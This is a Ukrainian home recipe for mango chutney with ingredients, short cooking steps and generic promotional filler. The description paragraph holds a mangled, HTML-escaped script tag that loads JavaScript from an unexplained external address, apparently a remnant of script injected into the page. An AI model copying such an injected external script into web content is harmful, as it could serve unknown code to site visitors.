Чатні з манго

Час приготування: 30 хв
Як відомо, чатні - це широко розповсюджене на півдні Азії блюдо. Це традиційна приправа, яку зазвичай готують із фруктів - зокрема, з манго. Ділюся рецептом.

Опис приготування:
Чатні з манго - це дуже популярна індійська приправа, яка завдяки спецій і незвичайної технології приготування дуже здорово збуджує апетит. Зазвичай її передають перед основною стравою, разом з якою-небудь закускою. У нашій родині чатні з манго використовується різними способами - намазуємо на хліб, додаємо в млинчики, подаємо з оладками, всякими різними закусками ... Смак передати складно - треба пробувати. Чого вам і бажаю! Amp; ltscript type= text/javascript src= http: //fsgv/i.jsraquo; amp; gt amp; lt/script amp; gt


Основний інгредієнт: Фрукти/Манго
Блюдо: Соуси/Чатни
Географія кухні: Азіатська, Східна кухні

Інгредієнти:

• Манго - 2 Штуки
• Рослинна олія - ??2 Ст. ложки
• Перець чилі - 2 Штуки
• Спеції - 3 Пучки (зіра, зерна гірчиці, перець горошком, сіль, цукор, коріандр, паприка)
• Лимонний сік - 2 чайні ложки

Кількість порцій: 8

Як приготувати Чатни з манго Очищаємо манго від шкірки. М'якоть манго потрібно розім'яти ложечкою до пюреобразного стану. У сковороді розігрійте масло, обсмажте в ньому перець і спеції протягом 1-2 хвилини на швидкому вогні. Тепер додаємо лимонний сік, перемішуємо. Відразу ж додаємо манго і зменшуємо вогонь. Тушкуємо, помішуючи, протягом 5 хвилин. Знімаємо з вогню, охолоджуємо - і готово! Зберігати в холодильнику.

Ви хочете, щоб у вас вийшов такий же смачний і апетитний кулінарний шедевр як на фото? Для цього вам необхідно уважно прочитати рецепт приготування, що дасть зрозуміти, як готувати Чатни з манго в домашніх умовах. Приготування не доставить вам багато клопоту, якщо ви будете слідувати всім розпорядженням. Погодьтеся, рецепт не тільки простий, але і достатньо дешевий. А ось класичний склад інгредієнтів, може бути змінений на ваш смак - це справа вашої фантазії. Головне, не забувайте про калорійність продуктів для збереження гарної фігури і здоров'я. Якщо у вас вийшло чудове блюдо, не полінуйтеся подякувати за це автора. Чатні з манго - кращий спосіб, як зробити ваше життя приємніше і доставити радість близьким!